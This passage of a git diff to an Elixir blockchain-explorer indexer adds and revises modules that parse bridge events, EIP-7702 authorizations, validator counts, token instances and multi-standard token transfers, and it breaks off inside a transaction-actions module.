parse(blocks, transactions_with_receipts, logs) do + prev_metadata = Logger.metadata() + Logger.metadata(fetcher: :shibarium_bridge_l2_realtime) + + items = + with false <- is_nil(Application.get_env(:indexer, Indexer.Fetcher.Shibarium.L2)[:start_block]), + false <- Application.get_env(:explorer, :chain_type) != :shibarium, + child_chain = Application.get_env(:indexer, Indexer.Fetcher.Shibarium.L2)[:child_chain], + weth = Application.get_env(:indexer, Indexer.Fetcher.Shibarium.L2)[:weth], + bone_withdraw = Application.get_env(:indexer, Indexer.Fetcher.Shibarium.L2)[:bone_withdraw], + true <- Helper.address_correct?(child_chain), + true <- Helper.address_correct?(weth), + true <- Helper.address_correct?(bone_withdraw) do + child_chain = String.downcase(child_chain) + weth = String.downcase(weth) + bone_withdraw = String.downcase(bone_withdraw) + + block_numbers = Enum.map(blocks, fn block -> block.number end) + start_block = Enum.min(block_numbers) + end_block = Enum.max(block_numbers) + + Helper.log_blocks_chunk_handling(start_block, end_block, start_block, end_block, nil, :L2) + + deposit_transaction_hashes = + transactions_with_receipts + |> Enum.filter(fn transaction -> transaction.from_address_hash == burn_address_hash_string() end) + |> Enum.map(fn transaction -> transaction.hash end) + + deposit_events = + logs + |> Enum.filter(&Enum.member?(deposit_transaction_hashes, &1.transaction_hash)) + |> L2.filter_deposit_events(child_chain) + + withdrawal_transaction_hashes = + transactions_with_receipts + |> Enum.filter(fn transaction -> + # filter by `withdraw(uint256 amount)` signature + String.downcase(String.slice(transaction.input, 0..9)) == withdraw_method_signature() + end) + |> Enum.map(fn transaction -> transaction.hash end) + + withdrawal_events = + logs + |> Enum.filter(&Enum.member?(withdrawal_transaction_hashes, &1.transaction_hash)) + |> L2.filter_withdrawal_events(bone_withdraw) + + events = deposit_events ++ withdrawal_events + timestamps = Enum.reduce(blocks, %{}, fn block, acc -> Map.put(acc, block.number, block.timestamp) end) + + operations = L2.prepare_operations({events, timestamps}, weth) + items = prepare_insert_items(operations, L2) + + Helper.log_blocks_chunk_handling( + start_block, + end_block, + start_block, + end_block, + "#{Enum.count(operations)} L2 operation(s)", + :L2 + ) + + items + else + true -> + [] + + false -> + Logger.error( + "ChildChain or WETH or BoneWithdraw contract address is incorrect. Cannot use #{__MODULE__} for parsing logs." + ) + + [] + end + + Logger.reset_metadata(prev_metadata) + + items + end +end diff --git a/apps/indexer/lib/indexer/transform/signed_authorizations.ex b/apps/indexer/lib/indexer/transform/signed_authorizations.ex new file mode 100644 index 000000000000..be85fbc3dcff --- /dev/null +++ b/apps/indexer/lib/indexer/transform/signed_authorizations.ex @@ -0,0 +1,87 @@ +defmodule Indexer.Transform.SignedAuthorizations do + @moduledoc """ + Helper functions for extracting signed authorizations from EIP-7702 transactions. + """ + + alias Explorer.Chain.{Hash, SignedAuthorization} + + # The magic number used in EIP-7702 to prefix the message to be signed. + @eip7702_magic 0x5 + + @doc """ + Extracts signed authorizations from a list of transactions with receipts. + + This function parses the authorization tuples from EIP-7702 set code transactions, + recovers the authority address from the signature, and prepares the data for database import. + + ## Parameters + - `transactions_with_receipts`: A list of transactions with receipts. + + ## Returns + A list of signed authorizations ready for database import. + """ + @spec parse([ + %{optional(:authorization_list) => [EthereumJSONRPC.SignedAuthorization.params()], optional(any()) => any()} + ]) :: [SignedAuthorization.to_import()] + def parse(transactions_with_receipts) do + transactions_with_receipts + |> Enum.filter(&Map.has_key?(&1, :authorization_list)) + |> Enum.flat_map( + &(&1.authorization_list + |> Enum.with_index() + |> Enum.map(fn {authorization, index} -> + new_authorization = + authorization + |> Map.merge(%{ + transaction_hash: &1.hash, + index: index, + authority: recover_authority(authorization) + }) + + # we can immediately do some basic validation that doesn't require any extra JSON-RPC requests + # full validation for :invalid_nonce is deferred to async fetcher (so :ok is replaced with nil) + status = + case SignedAuthorization.basic_validate(new_authorization) do + :ok -> nil + status -> status + end + + new_authorization + |> Map.put(:status, status) + end)) + ) + end + + # This function recovers the signer address from the signed authorization data using this formula: + # authority = ecrecover(keccak(MAGIC || rlp([chain_id, address, nonce])), y_parity, r, s] + @spec recover_authority(EthereumJSONRPC.SignedAuthorization.params()) :: String.t() | nil + defp recover_authority(signed_authorization) do + {:ok, %{bytes: address}} = Hash.Address.cast(signed_authorization.address) + + signed_message = + ExKeccak.hash_256( + <<@eip7702_magic>> <> ExRLP.encode([signed_authorization.chain_id, address, signed_authorization.nonce]) + ) + + authority = + ec_recover(signed_message, signed_authorization.r, signed_authorization.s, signed_authorization.v) + + authority + end + + # This function uses elliptic curve recovery to get the address from the signed message and the signature. + @spec ec_recover(binary(), non_neg_integer(), non_neg_integer(), non_neg_integer()) :: EthereumJSONRPC.address() | nil + defp ec_recover(signed_message, r, s, v) do + r_bytes = <> + s_bytes = <> + + with {:ok, <<_compression::bytes-size(1), public_key::binary>>} <- + ExSecp256k1.recover(signed_message, r_bytes, s_bytes, v), + <<_::bytes-size(12), hash::binary>> <- ExKeccak.hash_256(public_key) do + address = Base.encode16(hash, case: :lower) + "0x" <> address + else + _ -> nil + end + end +end diff --git a/apps/indexer/lib/indexer/transform/stability/validators.ex b/apps/indexer/lib/indexer/transform/stability/validators.ex new file mode 100644 index 000000000000..58624b5eaa3d --- /dev/null +++ b/apps/indexer/lib/indexer/transform/stability/validators.ex @@ -0,0 +1,35 @@ +defmodule Indexer.Transform.Stability.Validators do + @moduledoc """ + Helper functions for transforming blocks into stability validator counter updates. + """ + + require Logger + + @doc """ + Returns a list of validator counter updates given a list of blocks. + Only processes blocks for stability chain type. + """ + def parse(blocks) do + chain_type = Application.get_env(:explorer, :chain_type) + + if chain_type == :stability do + do_parse(blocks) + else + [] + end + end + + defp do_parse(blocks) when is_list(blocks) do + blocks + |> Enum.filter(&(&1[:miner_hash] != nil)) + |> Enum.group_by(& &1[:miner_hash]) + |> Enum.map(fn {miner_hash, validator_blocks} -> + %{ + address_hash: miner_hash, + blocks_validated: length(validator_blocks) + } + end) + end + + defp do_parse(_), do: [] +end diff --git a/apps/indexer/lib/indexer/transform/token_instances.ex b/apps/indexer/lib/indexer/transform/token_instances.ex new file mode 100644 index 000000000000..1b9374318b7d --- /dev/null +++ b/apps/indexer/lib/indexer/transform/token_instances.ex @@ -0,0 +1,102 @@ +defmodule Indexer.Transform.TokenInstances do + @moduledoc """ + Module extracts token instances from token transfers + """ + + def params_set(%{} = import_options) do + Enum.reduce(import_options, %{}, &reducer/2) + end + + defp reducer({:token_transfers_params, token_transfers_params}, initial) when is_list(token_transfers_params) do + token_transfers_params + |> Enum.reduce(initial, fn + %{ + block_number: block_number, + from_address_hash: from_address_hash, + to_address_hash: to_address_hash, + token_contract_address_hash: token_contract_address_hash, + token_ids: [_ | _] + } = tt, + acc + when is_integer(block_number) and + is_binary(from_address_hash) and + is_binary(to_address_hash) and is_binary(token_contract_address_hash) -> + transfer_to_instances(tt, acc) + + _, acc -> + acc + end) + |> Map.values() + end + + defp transfer_to_instances( + %{ + token_type: "ERC-721" = token_type, + to_address_hash: to_address_hash, + token_ids: [token_id], + token_contract_address_hash: token_contract_address_hash, + block_number: block_number, + log_index: log_index + }, + acc + ) do + params = %{ + token_contract_address_hash: token_contract_address_hash, + token_id: token_id, + token_type: token_type, + owner_address_hash: to_address_hash, + owner_updated_at_block: block_number, + owner_updated_at_log_index: log_index + } + + current_key = {token_contract_address_hash, token_id} + + Map.update( + acc, + current_key, + params, + fn current -> + Enum.max_by([params, current], fn ti -> + { + Map.get(ti, :owner_updated_at_block, 0), + Map.get(ti, :owner_updated_at_log_index, 0) + } + end) + end + ) + end + + defp transfer_to_instances( + %{ + token_type: "ERC-404" = token_type, + token_ids: [_ | _] = token_ids, + token_contract_address_hash: token_contract_address_hash + }, + acc + ) do + Enum.reduce(token_ids, acc, fn id, sub_acc -> + Map.put(sub_acc, {token_contract_address_hash, id}, %{ + token_contract_address_hash: token_contract_address_hash, + token_id: id, + token_type: token_type + }) + end) + end + + defp transfer_to_instances( + %{ + token_type: _token_type, + token_ids: [_ | _] = token_ids, + token_contract_address_hash: token_contract_address_hash + }, + acc + ) do + Enum.reduce(token_ids, acc, fn id, sub_acc -> + Map.put_new(sub_acc, {token_contract_address_hash, id}, %{ + token_contract_address_hash: token_contract_address_hash, + token_id: id, + token_type: "ERC-1155" + }) + end) + end +end diff --git a/apps/indexer/lib/indexer/transform/token_transfers.ex b/apps/indexer/lib/indexer/transform/token_transfers.ex index 22638dbc130a..03e894d9a323 100644 --- a/apps/indexer/lib/indexer/transform/token_transfers.ex +++ b/apps/indexer/lib/indexer/transform/token_transfers.ex @@ -1,21 +1,21 @@ defmodule Indexer.Transform.TokenTransfers do @moduledoc """ - Helper functions for transforming data for ERC-20 and ERC-721 token transfers. + Helper functions for transforming data for known token standards (ERC-20, ERC-721, ERC-1155, ERC-404) transfers. """ require Logger - alias ABI.TypeDecoder - alias Explorer.{Chain, Repo} - alias Explorer.Chain.{Token, TokenTransfer} - alias Explorer.Token.MetadataRetriever + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] + import Explorer.Helper, only: [decode_data: 2, truncate_address_hash: 1] - @burn_address "0x0000000000000000000000000000000000000000" + alias Explorer.Repo + alias Explorer.Chain.{Hash, Token, TokenTransfer} + alias Indexer.Fetcher.TokenTotalSupplyUpdater @doc """ Returns a list of token transfers given a list of logs. """ - def parse(logs) do + def parse(logs, skip_additional_fetchers? \\ false) do initial_acc = %{tokens: [], token_transfers: []} erc20_and_erc721_token_transfers = @@ -23,6 +23,16 @@ defmodule Indexer.Transform.TokenTransfers do |> Enum.filter(&(&1.first_topic == unquote(TokenTransfer.constant()))) |> Enum.reduce(initial_acc, &do_parse/2) + weth_transfers = + logs + |> Enum.filter(fn log -> + (log.first_topic == TokenTransfer.weth_deposit_signature() || + log.first_topic == TokenTransfer.weth_withdrawal_signature()) && + TokenTransfer.whitelisted_weth_contract?(log.address_hash) + end) + |> Enum.reduce(initial_acc, &do_parse/2) + |> drop_repeated_token_transfers(erc20_and_erc721_token_transfers.token_transfers) + erc1155_token_transfers = logs |> Enum.filter(fn log -> @@ -31,18 +41,32 @@ defmodule Indexer.Transform.TokenTransfers do end) |> Enum.reduce(initial_acc, &do_parse(&1, &2, :erc1155)) - tokens = erc1155_token_transfers.tokens ++ erc20_and_erc721_token_transfers.tokens - token_transfers = erc1155_token_transfers.token_transfers ++ erc20_and_erc721_token_transfers.token_transfers + erc404_token_transfers = + logs + |> Enum.filter(fn log -> + log.first_topic == TokenTransfer.erc404_erc20_transfer_event() || + log.first_topic == TokenTransfer.erc404_erc721_transfer_event() + end) + |> Enum.reduce(initial_acc, &do_parse(&1, &2, :erc404)) - token_transfers - |> Enum.filter(fn token_transfer -> - token_transfer.to_address_hash == @burn_address || token_transfer.from_address_hash == @burn_address - end) - |> Enum.map(fn token_transfer -> - token_transfer.token_contract_address_hash - end) - |> Enum.uniq() - |> Enum.each(&update_token/1) + rough_tokens = + erc404_token_transfers.tokens ++ + erc1155_token_transfers.tokens ++ + erc20_and_erc721_token_transfers.tokens ++ weth_transfers.tokens + + rough_token_transfers = + erc404_token_transfers.token_transfers ++ + erc1155_token_transfers.token_transfers ++ + erc20_and_erc721_token_transfers.token_transfers ++ weth_transfers.token_transfers + + tokens = sanitize_token_types(rough_tokens, rough_token_transfers) + token_transfers = sanitize_weth_transfers(tokens, rough_token_transfers, weth_transfers.token_transfers) + + unless skip_additional_fetchers? do + token_transfers + |> filter_tokens_for_supply_update() + |> TokenTotalSupplyUpdater.add_tokens() + end tokens_uniq = tokens |> Enum.uniq() @@ -54,21 +78,133 @@ defmodule Indexer.Transform.TokenTransfers do token_transfers_from_logs_uniq end + defp drop_repeated_token_transfers(weth_acc, erc_20_721_token_transfers) do + key_from_tt = fn tt -> + {tt.block_hash, tt.transaction_hash, tt.token_contract_address_hash, tt.to_address_hash, tt.from_address_hash, + tt.amount} + end + + deposit_withdrawal_like_transfers = + Enum.reduce(erc_20_721_token_transfers, %{}, fn token_transfer, acc -> + if token_transfer.token_type == "ERC-20" and + (token_transfer.from_address_hash == burn_address_hash_string() or + token_transfer.to_address_hash == burn_address_hash_string()) do + Map.put(acc, key_from_tt.(token_transfer), true) + else + acc + end + end) + + %{token_transfers: weth_token_transfer} = weth_acc + + weth_token_transfer_updated = + Enum.reject(weth_token_transfer, fn weth_tt -> + deposit_withdrawal_like_transfers[key_from_tt.(weth_tt)] + end) + + Map.put(weth_acc, :token_transfers, weth_token_transfer_updated) + end + + defp sanitize_weth_transfers(total_tokens, total_transfers, weth_transfers) do + existing_token_types_map = + total_tokens + |> Enum.map(&{&1.contract_address_hash, &1.type}) + |> Map.new() + + invalid_weth_transfers = + Enum.reduce(weth_transfers, %{}, fn token_transfer, acc -> + if existing_token_types_map[token_transfer.token_contract_address_hash] == "ERC-721" do + Map.put(acc, token_transfer_to_key(token_transfer), true) + else + acc + end + end) + + total_transfers + |> subtract_token_transfers(invalid_weth_transfers) + |> Enum.reverse() + end + + defp token_transfer_to_key(token_transfer) do + {token_transfer.block_hash, token_transfer.transaction_hash, token_transfer.log_index} + end + + defp subtract_token_transfers(tt_from, tt_to_subtract) do + Enum.reduce(tt_from, [], fn tt, acc -> + case tt_to_subtract[token_transfer_to_key(tt)] do + nil -> [tt | acc] + _ -> acc + end + end) + end + + defp sanitize_token_types(tokens, token_transfers) do + existing_token_types_map = + tokens + |> Enum.uniq() + |> Enum.reduce([], fn %{contract_address_hash: address_hash}, acc -> + case Repo.get_by(Token, contract_address_hash: address_hash) do + %{type: type} -> [{address_hash, type} | acc] + _ -> acc + end + end) + |> Map.new() + + token_types_map = + token_transfers + |> Enum.group_by(& &1.token_contract_address_hash) + |> Enum.map(fn {contract_address_hash, transfers} -> + {contract_address_hash, define_token_type(transfers)} + end) + |> Map.new() + + actual_token_types_map = + Map.merge(token_types_map, existing_token_types_map, fn _k, new_type, old_type -> + if token_type_priority(old_type) > token_type_priority(new_type), do: old_type, else: new_type + end) + + Enum.map(tokens, fn %{contract_address_hash: hash} = token -> + Map.put(token, :type, actual_token_types_map[hash]) + end) + end + + defp define_token_type(token_transfers) do + Enum.reduce(token_transfers, nil, fn %{token_type: token_type}, acc -> + if token_type_priority(token_type) > token_type_priority(acc), do: token_type, else: acc + end) + end + + defp token_type_priority(nil), do: -1 + + @token_types_priority_order ["ERC-20", "ERC-721", "ERC-1155", "ERC-404"] + defp token_type_priority(token_type) do + Enum.find_index(@token_types_priority_order, &(&1 == token_type)) + end + defp do_parse(log, %{tokens: tokens, token_transfers: token_transfers} = acc, type \\ :erc20_erc721) do - {token, token_transfer} = - if type != :erc1155 do - parse_params(log) - else - parse_erc1155_params(log) + parse_result = + case type do + :erc1155 -> parse_erc1155_params(log) + :erc404 -> parse_erc404_params(log) + _ -> parse_params(log) end - %{ - tokens: [token | tokens], - token_transfers: [token_transfer | token_transfers] - } + case parse_result do + {token, token_transfer} -> + %{ + tokens: [token | tokens], + token_transfers: [token_transfer | token_transfers] + } + + nil -> + acc + end rescue - _ in [FunctionClauseError, MatchError] -> - Logger.error(fn -> "Unknown token transfer format: #{inspect(log)}" end) + e in [FunctionClauseError, MatchError] -> + Logger.error(fn -> + ["Unknown token transfer format: #{inspect(log)}", Exception.format(:error, e, __STACKTRACE__)] + end) + acc end @@ -77,16 +213,52 @@ defmodule Indexer.Transform.TokenTransfers do when not is_nil(second_topic) and not is_nil(third_topic) do [amount] = decode_data(log.data, [{:uint, 256}]) + from_address_hash = truncate_address_hash(log.second_topic) + to_address_hash = truncate_address_hash(log.third_topic) + token_transfer = %{ amount: Decimal.new(amount || 0), block_number: log.block_number, block_hash: log.block_hash, log_index: log.index, - from_address_hash: truncate_address_hash(log.second_topic), - to_address_hash: truncate_address_hash(log.third_topic), + from_address_hash: from_address_hash, + to_address_hash: to_address_hash, token_contract_address_hash: log.address_hash, transaction_hash: log.transaction_hash, - token_id: nil, + token_ids: nil, + token_type: "ERC-20" + } + + token = %{ + contract_address_hash: log.address_hash, + type: "ERC-20" + } + + {token, token_transfer} + end + + # ERC-20 token transfer for WETH + defp parse_params(%{second_topic: second_topic, third_topic: nil, fourth_topic: nil} = log) + when not is_nil(second_topic) do + [amount] = decode_data(log.data, [{:uint, 256}]) + + {from_address_hash, to_address_hash} = + if log.first_topic == TokenTransfer.weth_deposit_signature() do + {burn_address_hash_string(), truncate_address_hash(log.second_topic)} + else + {truncate_address_hash(log.second_topic), burn_address_hash_string()} + end + + token_transfer = %{ + amount: Decimal.new(amount || 0), + block_number: log.block_number, + block_hash: log.block_hash, + log_index: log.index, + from_address_hash: from_address_hash, + to_address_hash: to_address_hash, + token_contract_address_hash: log.address_hash, + transaction_hash: log.transaction_hash, + token_ids: nil, token_type: "ERC-20" } @@ -103,14 +275,17 @@ defmodule Indexer.Transform.TokenTransfers do when not is_nil(second_topic) and not is_nil(third_topic) and not is_nil(fourth_topic) do [token_id] = decode_data(fourth_topic, [{:uint, 256}]) + from_address_hash = truncate_address_hash(log.second_topic) + to_address_hash = truncate_address_hash(log.third_topic) + token_transfer = %{ block_number: log.block_number, log_index: log.index, block_hash: log.block_hash, - from_address_hash: truncate_address_hash(log.second_topic), - to_address_hash: truncate_address_hash(log.third_topic), + from_address_hash: from_address_hash, + to_address_hash: to_address_hash, token_contract_address_hash: log.address_hash, - token_id: token_id || 0, + token_ids: [token_id || 0], transaction_hash: log.transaction_hash, token_type: "ERC-721" } @@ -139,10 +314,10 @@ defmodule Indexer.Transform.TokenTransfers do block_number: log.block_number, block_hash: log.block_hash, log_index: log.index, - from_address_hash: encode_address_hash(from_address_hash), - to_address_hash: encode_address_hash(to_address_hash), + from_address_hash: "0x" <> Base.encode16(from_address_hash, case: :lower), + to_address_hash: "0x" <> Base.encode16(to_address_hash, case: :lower), token_contract_address_hash: log.address_hash, - token_id: token_id, + token_ids: [token_id], transaction_hash: log.transaction_hash, token_type: "ERC-721" } @@ -155,76 +330,67 @@ defmodule Indexer.Transform.TokenTransfers do {token, token_transfer} end - defp update_token(nil), do: :ok - - defp update_token(address_hash_string) do - {:ok, address_hash} = Chain.string_to_address_hash(address_hash_string) - - token = Repo.get_by(Token, contract_address_hash: address_hash) - - if token && !token.skip_metadata do - token_params = - address_hash_string - |> MetadataRetriever.get_total_supply_of() - - token_to_update = - token - |> Repo.preload([:contract_address]) - - if token_params !== %{} do - {:ok, _} = Chain.update_token(%{token_to_update | updated_at: DateTime.utc_now()}, token_params) - end - end - - :ok - end - - def parse_erc1155_params( - %{ - first_topic: unquote(TokenTransfer.erc1155_batch_transfer_signature()), - third_topic: third_topic, - fourth_topic: fourth_topic, - data: data - } = log - ) do + @spec parse_erc1155_params(map()) :: + nil + | {%{ + contract_address_hash: Hash.Address.t(), + type: String.t() + }, map()} + defp parse_erc1155_params( + %{ + first_topic: unquote(TokenTransfer.erc1155_batch_transfer_signature()), + third_topic: third_topic, + fourth_topic: fourth_topic, + data: data + } = log + ) do [token_ids, values] = decode_data(data, [{:array, {:uint, 256}}, {:array, {:uint, 256}}]) - token_transfer = %{ - block_number: log.block_number, - block_hash: log.block_hash, - log_index: log.index, - from_address_hash: truncate_address_hash(third_topic), - to_address_hash: truncate_address_hash(fourth_topic), - token_contract_address_hash: log.address_hash, - transaction_hash: log.transaction_hash, - token_type: "ERC-1155", - token_ids: token_ids, - token_id: nil, - amounts: values - } - - token = %{ - contract_address_hash: log.address_hash, - type: "ERC-1155" - } - - {token, token_transfer} + if is_nil(token_ids) or token_ids == [] or is_nil(values) or values == [] do + nil + else + from_address_hash = truncate_address_hash(third_topic) + to_address_hash = truncate_address_hash(fourth_topic) + + token_transfer = %{ + block_number: log.block_number, + block_hash: log.block_hash, + log_index: log.index, + from_address_hash: from_address_hash, + to_address_hash: to_address_hash, + token_contract_address_hash: log.address_hash, + transaction_hash: log.transaction_hash, + token_type: "ERC-1155", + token_ids: token_ids, + amounts: values + } + + token = %{ + contract_address_hash: log.address_hash, + type: "ERC-1155" + } + + {token, token_transfer} + end end - def parse_erc1155_params(%{third_topic: third_topic, fourth_topic: fourth_topic, data: data} = log) do + defp parse_erc1155_params(%{third_topic: third_topic, fourth_topic: fourth_topic, data: data} = log) do [token_id, value] = decode_data(data, [{:uint, 256}, {:uint, 256}]) + from_address_hash = truncate_address_hash(third_topic) + to_address_hash = truncate_address_hash(fourth_topic) + token_transfer = %{ amount: value, block_number: log.block_number, block_hash: log.block_hash, log_index: log.index, - from_address_hash: truncate_address_hash(third_topic), - to_address_hash: truncate_address_hash(fourth_topic), + from_address_hash: from_address_hash, + to_address_hash: to_address_hash, token_contract_address_hash: log.address_hash, transaction_hash: log.transaction_hash, token_type: "ERC-1155", - token_id: token_id + token_ids: [token_id] } token = %{ @@ -235,23 +401,91 @@ defmodule Indexer.Transform.TokenTransfers do {token, token_transfer} end - defp truncate_address_hash(nil), do: "0x0000000000000000000000000000000000000000" - - defp truncate_address_hash("0x000000000000000000000000" <> truncated_hash) do - "0x#{truncated_hash}" + @spec parse_erc404_params(map()) :: + nil + | {%{ + contract_address_hash: Hash.Address.t(), + type: String.t() + }, map()} + defp parse_erc404_params( + %{ + first_topic: unquote(TokenTransfer.erc404_erc20_transfer_event()), + second_topic: second_topic, + third_topic: third_topic, + fourth_topic: nil, + data: data + } = log + ) do + [value] = decode_data(data, [{:uint, 256}]) + + if is_nil(value) or value == [] do + nil + else + token_transfer = %{ + block_number: log.block_number, + block_hash: log.block_hash, + log_index: log.index, + from_address_hash: truncate_address_hash(second_topic), + to_address_hash: truncate_address_hash(third_topic), + token_contract_address_hash: log.address_hash, + transaction_hash: log.transaction_hash, + token_type: "ERC-404", + token_ids: [], + amounts: [value] + } + + token = %{ + contract_address_hash: log.address_hash, + type: "ERC-404" + } + + {token, token_transfer} + end end - defp encode_address_hash(binary) do - "0x" <> Base.encode16(binary, case: :lower) - end + defp parse_erc404_params( + %{ + first_topic: unquote(TokenTransfer.erc404_erc721_transfer_event()), + second_topic: second_topic, + third_topic: third_topic, + fourth_topic: fourth_topic, + data: _data + } = log + ) do + [token_id] = decode_data(fourth_topic, [{:uint, 256}]) - defp decode_data("0x", types) do - for _ <- types, do: nil + if is_nil(token_id) or token_id == [] do + nil + else + token_transfer = %{ + block_number: log.block_number, + block_hash: log.block_hash, + log_index: log.index, + from_address_hash: truncate_address_hash(second_topic), + to_address_hash: truncate_address_hash(third_topic), + token_contract_address_hash: log.address_hash, + transaction_hash: log.transaction_hash, + token_type: "ERC-404", + token_ids: [token_id], + amounts: [] + } + + token = %{ + contract_address_hash: log.address_hash, + type: "ERC-404" + } + + {token, token_transfer} + end end - defp decode_data("0x" <> encoded_data, types) do - encoded_data - |> Base.decode16!(case: :mixed) - |> TypeDecoder.decode_raw(types) + def filter_tokens_for_supply_update(token_transfers) do + token_transfers + |> Enum.filter(fn token_transfer -> + token_transfer.to_address_hash == burn_address_hash_string() || + token_transfer.from_address_hash == burn_address_hash_string() + end) + |> Enum.map(& &1.token_contract_address_hash) + |> Enum.uniq() end end diff --git a/apps/indexer/lib/indexer/transform/transaction_actions.ex b/apps/indexer/lib/indexer/transform/transaction_actions.ex new file mode 100644 index 000000000000..14805430f26f --- /dev/null +++ b/apps/indexer/lib/indexer/transform/transaction_actions.ex @@ -0,0 +1,992 @@ +defmodule Indexer.Transform.TransactionActions do + @moduledoc """ + Helper functions for transforming data for transaction actions. + """ + + require Logger + + import Ecto.Query, only: [from: 2] + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] + import Explorer.Helper, only: [decode_data: 2] + + alias Explorer.Chain.Cache.{ChainId, TransactionActionTokensData, TransactionActionUniswapPools} + alias Explorer.Chain.{Address, Hash, Token, TransactionAction} + alias Explorer.Repo + alias Indexer.Helper, as: IndexerHelper + + @mainnet 1 + @goerli 5 + @optimism 10 + @polygon 137 + @base_mainnet 8453 + @base_goerli 84531 + # @gnosis 100 + + @uniswap_v3_factory_abi [ + %{ + "inputs" => [ + %{"internalType" => "address", "name" => "", "type" => "address"}, + %{"internalType" => "address", "name" => "", "type" => "address"}, + %{"internalType" => "uint24", "name" => "", "type" => "uint24"} + ], + "name" => "getPool", + "outputs" => [%{"internalType" => "address", "name" => "", "type" => "address"}], + "stateMutability" => "view", + "type" => "function" + } + ] + @uniswap_v3_pool_abi [ + %{ + "inputs" => [], + "name" => "fee", + "outputs" => [%{"internalType" => "uint24", "name" => "", "type" => "uint24"}], + "stateMutability" => "view", + "type" => "function" + }, + %{ + "inputs" => [], + "name" => "token0", + "outputs" => [%{"internalType" => "address", "name" => "", "type" => "address"}], + "stateMutability" => "view", + "type" => "function" + }, + %{ + "inputs" => [], + "name" => "token1", + "outputs" => [%{"internalType" => "address", "name" => "", "type" => "address"}], + "stateMutability" => "view", + "type" => "function" + } + ] + @erc20_abi [ + %{ + "constant" => true, + "inputs" => [], + "name" => "symbol", + "outputs" => [%{"name" => "", "type" => "string"}], + "payable" => false, + "stateMutability" => "view", + "type" => "function" + }, + %{ + "constant" => true, + "inputs" => [], + "name" => "decimals", + "outputs" => [%{"name" => "", "type" => "uint8"}], + "payable" => false, + "stateMutability" => "view", + "type" => "function" + } + ] + + # 32-byte signature of the event Borrow(address indexed reserve, address user, address indexed onBehalfOf, uint256 amount, uint8 interestRateMode, uint256 borrowRate, uint16 indexed referralCode) + @aave_v3_borrow_event "0xb3d084820fb1a9decffb176436bd02558d15fac9b0ddfed8c465bc7359d7dce0" + + # 32-byte signature of the event Supply(address indexed reserve, address user, address indexed onBehalfOf, uint256 amount, uint16 indexed referralCode) + @aave_v3_supply_event "0x2b627736bca15cd5381dcf80b0bf11fd197d01a037c52b927a881a10fb73ba61" + + # 32-byte signature of the event Withdraw(address indexed reserve, address indexed user, address indexed to, uint256 amount) + @aave_v3_withdraw_event "0x3115d1449a7b732c986cba18244e897a450f61e1bb8d589cd2e69e6c8924f9f7" + + # 32-byte signature of the event Repay(address indexed reserve, address indexed user, address indexed repayer, uint256 amount, bool useATokens) + @aave_v3_repay_event "0xa534c8dbe71f871f9f3530e97a74601fea17b426cae02e1c5aee42c96c784051" + + # 32-byte signature of the event FlashLoan(address indexed target, address initiator, address indexed asset, uint256 amount, uint8 interestRateMode, uint256 premium, uint16 indexed referralCode) + @aave_v3_flash_loan_event "0xefefaba5e921573100900a3ad9cf29f222d995fb3b6045797eaea7521bd8d6f0" + + # 32-byte signature of the event ReserveUsedAsCollateralEnabled(address indexed reserve, address indexed user) + @aave_v3_enable_collateral_event "0x00058a56ea94653cdf4f152d227ace22d4c00ad99e2a43f58cb7d9e3feb295f2" + + # 32-byte signature of the event ReserveUsedAsCollateralDisabled(address indexed reserve, address indexed user) + @aave_v3_disable_collateral_event "0x44c58d81365b66dd4b1a7f36c25aa97b8c71c361ee4937adc1a00000227db5dd" + + # 32-byte signature of the event LiquidationCall(address indexed collateralAsset, address indexed debtAsset, address indexed user, uint256 debtToCover, uint256 liquidatedCollateralAmount, address liquidator, bool receiveAToken) + @aave_v3_liquidation_call_event "0xe413a321e8681d831f4dbccbca790d2952b56f977908e45be37335533e005286" + + # 32-byte signature of the event Transfer(address indexed from, address indexed to, uint256 indexed tokenId) + @uniswap_v3_transfer_nft_event "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef" + + # 32-byte signature of the event Mint(address sender, address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1) + @uniswap_v3_mint_event "0x7a53080ba414158be7ec69b987b5fb7d07dee101fe85488f0853ae16239d0bde" + + # 32-byte signature of the event Burn(address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1) + @uniswap_v3_burn_event "0x0c396cd989a39f4459b5fa1aed6a9a8dcdbc45908acfd67e028cd568da98982c" + + # 32-byte signature of the event Collect(address indexed owner, address recipient, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount0, uint128 amount1) + @uniswap_v3_collect_event "0x70935338e69775456a85ddef226c395fb668b63fa0115f5f20610b388e6ca9c0" + + # 32-byte signature of the event Swap(address indexed sender, address indexed recipient, int256 amount0, int256 amount1, uint160 sqrtPriceX96, uint128 liquidity, int24 tick); + @uniswap_v3_swap_event "0xc42079f94a6350d7e6235f29174924f928cc2ac818eb64fed8004e115fbcca67" + + # max number of token decimals + @decimals_max 0xFF + + @doc """ + Returns a list of transaction actions given a list of logs. + """ + def parse(logs, protocols_to_rewrite \\ nil) do + if Application.get_env(:indexer, Indexer.Fetcher.TransactionAction.Supervisor)[:enabled] do + actions = [] + + chain_id = ChainId.get_id() + + if not is_nil(protocols_to_rewrite) do + logs + |> logs_group_by_transactions() + |> clear_actions(protocols_to_rewrite) + end + + # create tokens cache if not exists + TransactionActionTokensData.create_cache_table() + + actions = parse_aave_v3(logs, actions, protocols_to_rewrite, chain_id) + actions = parse_uniswap_v3(logs, actions, protocols_to_rewrite, chain_id) + + %{transaction_actions: actions} + else + %{transaction_actions: []} + end + end + + defp parse_aave_v3(logs, actions, protocols_to_rewrite, chain_id) do + aave_v3_pool = Application.get_all_env(:indexer)[Indexer.Fetcher.TransactionAction][:aave_v3_pool] + + if not is_nil(aave_v3_pool) and + (is_nil(protocols_to_rewrite) or Enum.empty?(protocols_to_rewrite) or + Enum.member?(protocols_to_rewrite, "aave_v3")) do + logs + |> aave_filter_logs(String.downcase(aave_v3_pool)) + |> logs_group_by_transactions() + |> aave(actions, chain_id) + else + actions + end + end + + defp parse_uniswap_v3(logs, actions, protocols_to_rewrite, chain_id) do + if Enum.member?([@mainnet, @goerli, @optimism, @polygon, @base_mainnet, @base_goerli], chain_id) and + (is_nil(protocols_to_rewrite) or Enum.empty?(protocols_to_rewrite) or + Enum.member?(protocols_to_rewrite, "uniswap_v3")) do + uniswap_v3_positions_nft = + 